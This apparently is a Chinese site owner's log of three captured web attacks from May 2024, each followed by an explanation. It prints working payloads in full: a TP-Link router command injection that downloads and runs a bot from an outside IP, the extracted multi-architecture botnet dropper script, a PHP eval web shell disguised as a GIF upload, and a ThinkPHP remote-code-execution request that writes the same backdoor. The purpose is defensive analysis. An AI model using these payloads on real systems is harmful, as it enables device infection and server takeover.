网络攻击记录(2024年5月7日)
样本1 捕获:
时间 | 2024-05-07 20:01:19 |
攻击IP | 195.1.144.109 |
IP归属地 | 挪威 |
类型 | GET |
URI地址 | GET /cgi-bin/luci/;stok=/locale form=country&operation=write&country= $(cd+/tmp;+rm+-rf+shk; +wget+http://45.87.154.160/shk;+chmod+777+shk; +./shk+tplink;+rm+-rf+shk) |
User-Agent | Go-http-client/1.1 |
传入值 | country=$(cd /tmp; rm -rf shk; wget http://45.87.154.160/shk; chmod 777 shk; ./shk tplink; rm -rf shk) |
风险值 | $(cd /tmp; rm -rf shk; wget http://45.87.154.160/shk; chmod 777 shk; ./shk tplink; rm -rf shk) |
样本1 提取:
样本代码仅供参考,请勿用于违规和违法行为!
binarys="mips mpsl x86 arm arm5 arm6 arm7 sh4 ppc arc"
server_ip="45.87.154.160"
binout="telnetdbot"
exec="your device just got infected to a bootnoot"
rm -rf $binout
for arch in $binarys
do
rm -rf $arch
cd /tmp || cd /var || cd /dev; wget http://$server_ip/$arch -O $binout || curl -O $binout http://$server_ip/$arch || tftp -g -l $binout -r $arch $server_ip
chmod 777 $binout
status=`./$binout $1`
if [ "$status" = "$exec" ]; then
rm -rf $binout
break
fi
rm -rf $binout
done
样本1 分析:
- 定义了 ”binarys“、”server_ip“、”binout“、”exec“ 的变量:
binarys
包含了常见的架构类型,如 "mips mpsl x86 arm arm5 arm6 arm7 sh4 ppc arc"。server_ip
包含了一个 IP 地址,指向恶意服务的主机。binout
恶意文件的名称。exec
提示信息。
- 删除操作
rm -rf $binout
,用于删除之前下载的恶意文件,如果存在的话。 - 之后是一个循环,针对每种架构类型执行以下操作:
- 删除可能已经存在的同名文件
$arch
。 - 尝试从远程服务器下载文件,使用
wget
、curl
或tftp
中的一个。 - 设置下载的文件权限为可执行。
- 执行下载的文件,将输出保存在
status
变量中。 - 如果
status
变量的内容与exec
变量相等,表示设备被感染,删除恶意文件并跳出循环。 - 如果没有感染,则删除下载的恶意文件。
- 删除可能已经存在的同名文件
cd
命令,试图切换到/tmp
、/var
或/dev
目录,以便下载文件。隐藏恶意文件,这些目录通常不会引起怀疑。- 利用了常见的Liunx下载命令(
wget
、curl
、tftp
),试图将恶意文件下载到目标设备,并执行它们。一旦设备被感染,它会执行一些命令,然后删除恶意文件,以避免被发现。 - 该脚本对多种架构类型进行了支持,攻击者可能针对不同类型的设备进行攻击。
样本2 捕获:
时间 | 2024-05-07 12:19:02 |
攻击IP | 未知 |
IP归属地 | 未知 |
类型 | POST |
URI地址 | wxapp.php/?controller%EF%BC%9DGoods.doPageUpload |
User-Agent | Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/530.5 (KHTML, like Gecko) C |
传入值 | 空 |
风险值 | 空 |
样本2 提取:
样本代码仅供参考,请勿用于违规和违法行为!
POST /wxapp.php?controller=Goods.doPageUpload HTTP/1.1
host: www.sg7z.com
content-length: 318
accept: */*
referer: http://www.sg7z.com/wxapp.php?controller=Goods.doPageUpload
content-type: multipart/form-data; boundary=----WebKitFormBoundary8UaANmWAgM4BqBSs
user-agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.43 Safari/530.5
cdn-src-ip: 122.10.19.232
via: CHN-CQ-AREACMCC1-CACHE22, CHN-GDdongguan-GLOBAL1-CACHE47
x-forwarded-for: 122.10.19.232, 221.178.98.23
------WebKitFormBoundary8UaANmWAgM4BqBSs
Content-Disposition: form-data; name="upfile"; filename="diguo.php"
Content-Type: image/gif
<?php class GaM10fA5 { public function __construct($H7mu6){ @eval("/*ZG5zknRfSk*/".$H7mu6.""); }}new GaM10fA5($_REQUEST['123']);?>jwB9GE
------WebKitFormBoundary8UaANmWAgM4BqBSs--
样本2 分析:
- HTTP 请求部分:
- 请求方法为 POST。
- 请求的目标 URL 是
/wxapp.php?controller=Goods.doPageUpload
。 - 请求头中包含了一些信息,如主机名、内容长度、接受类型、引用页面、内容类型等。
- 在
user-agent
中伪装成了一个旧版本的 Chrome 浏览器。 cdn-src-ip
和x-forwarded-for
头部包含了一些 IP 地址,可能是请求经过的代理服务器的地址。
- 请求主体部分是一个
multipart/form-data
格式的数据,以------WebKitFormBoundary8UaANmWAgM4BqBSs
作为分隔符。 - 在
form-data
部分中,有一个字段名为upfile
,它是一个文件上传字段。文件名为diguo.php
,并且伪装成了一个 GIF 图片,但实际内容是 PHP 代码。这段 PHP 代码会创建一个名为GaM10fA5
的类,该类构造函数接受一个参数$H7mu6
,然后通过eval
函数执行了这个参数的内容。最后,使用new GaM10fA5($_REQUEST['123'])
来调用这个类,传递了一个名为123
的请求参数作为构造函数的参数。
IP是CDN地址,应该是想通过本站上传带有PHP代码的图片,本站有一些功能允许用户上传图片或者视频,应该用这个方法来上传。
样本3 捕获:
时间 | 2024-05-07 12:18:32 |
攻击IP | 未知 |
IP归属地 | 未知 |
类型 | GET |
URI地址 | /?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars% 5B0%5D=file_put_contents&vars%5B1%5D%5B%5D=dmlws.php&vars%5B1%5D%5 B%5D=%3C?php%20class%20GaM10fA5%20%7B%20public%20function%20_constru ct($H7mu6)%7B%20@eval(%22/ZG5zknRfSk/%22.$H7mu6.%22%22);%20%7D%7 Dnew%20GaM10fA5($REQUEST%5B‘xise‘%5D);?%3Edjsjxbei37$ |
User-Agent | Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/124 (KHTML, like Gecko) Safari/125 |
传入值 | k=http://www.sg7z.com/?s=/index/\think\app/invokefunction&function= call_user_func_array&vars[0]=file_put_contents&vars1=dmlws.php&vars1= <?php class GaM10fA5 { public function __construct($H7mu6){ @eval("/*ZG5zknRfSk*/" .$H7mu6.""); }}new GaM10fA5($_REQUEST[‘xise‘]);?>djsjxbei37$ |
风险值 | http://www.sg7z.com/?s%EF%BC%9D/index/\think\app/invokefunction&function%EF%BC%9 Dcall_user_func_array&vars[0]%EF%BC%9Dfile_put_contents&vars1%EF%BC%9 Ddmlws.php&vars1%EF%BC%9D% 3C?php%20class%20GaM10fA5%20{%20public%20function%20 _construct($H7mu6{%20@eval(%22/ZG5zknRfSk/%22.$H7mu6.%22%22);%20}}new% 20GaM10fA5($REQUEST[%E2%80%98xise%E2%80%98]);?%3Edjsjxbei37$ |
样本3 提取:
样本代码仅供参考,请勿用于违规和违法行为!
GET /?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars%5B0%5D=file_put_contents&vars%5B1%5D%5B%5D=dmlws.php&vars%5B1%5D%5B%5D=%3C?php%20class%20GaM10fA5%20%7B%20public%20function%20__construct($H7mu6)%7B%20@eval(%22/*ZG5zknRfSk*/%22.$H7mu6.%22%22);%20%7D%7Dnew%20GaM10fA5($_REQUEST%5B'xise'%5D);?%3Edjsjxbei37$ HTTP/1.1
referer: http://www.sg7z.com/?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=dmlws.php&vars[1][]=<?php class GaM10fA5 { public function __construct($H7mu6){ @eval("/*ZG5zknRfSk*/".$H7mu6.""); }}new GaM10fA5($_REQUEST['xise']);?>djsjxbei37$
via: CHN-CQ-AREACMCC1-CACHE22, CHN-GDdongguan-GLOBAL1-CACHE98, CHN-GDdongguan-GLOBAL1-CACHE98
host: www.sg7z.com
user-agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/124 (KHTML, like Gecko) Safari/125
cdn-src-ip: 122.10.19.232
accept: */*
x-forwarded-for: 122.10.19.232, 221.178.98.23
样本3 分析:
- HTTP 请求部分:
- 请求方法为 GET。
- 请求的目标 URL 中包含了参数,参数名为
s
,值为index/\think\app/invokefunction
,function
参数值为call_user_func_array
,vars
参数包含了一个数组。 - 请求头中包含了一些信息,如引用页面、用户代理、主机名、接受类型等。
cdn-src-ip
和x-forwarded-for
头部包含了一些 IP 地址,可能是请求经过的代理服务器的地址。
- 请求主体部分为空,因为这是一个 GET 请求,所有参数都在 URL 中。
- 参数中的
vars
包含了一个数组,该数组的第一个元素是file_put_contents
,第二个元素是一个数组,包含了两个元素:dmlws.php
,文件名。- 包含 PHP 代码的内容,代码内容与之前的示例类似,也是创建了一个名为
GaM10fA5
的类,并在构造函数中使用了eval
函数执行传入的参数。
- 整个 URL 的构造是为了在目标服务器上执行 PHP 代码,通过调用
file_put_contents
函数将 PHP 代码写入到名为dmlws.php
的文件中,然后执行该文件。这段 PHP 代码也是一个后门,可以让攻击者远程执行任意 PHP 代码。
这是一种典型的攻击手法,利用了目标服务器的漏洞或弱点,通过远程执行恶意代码来获取对服务器的控制权。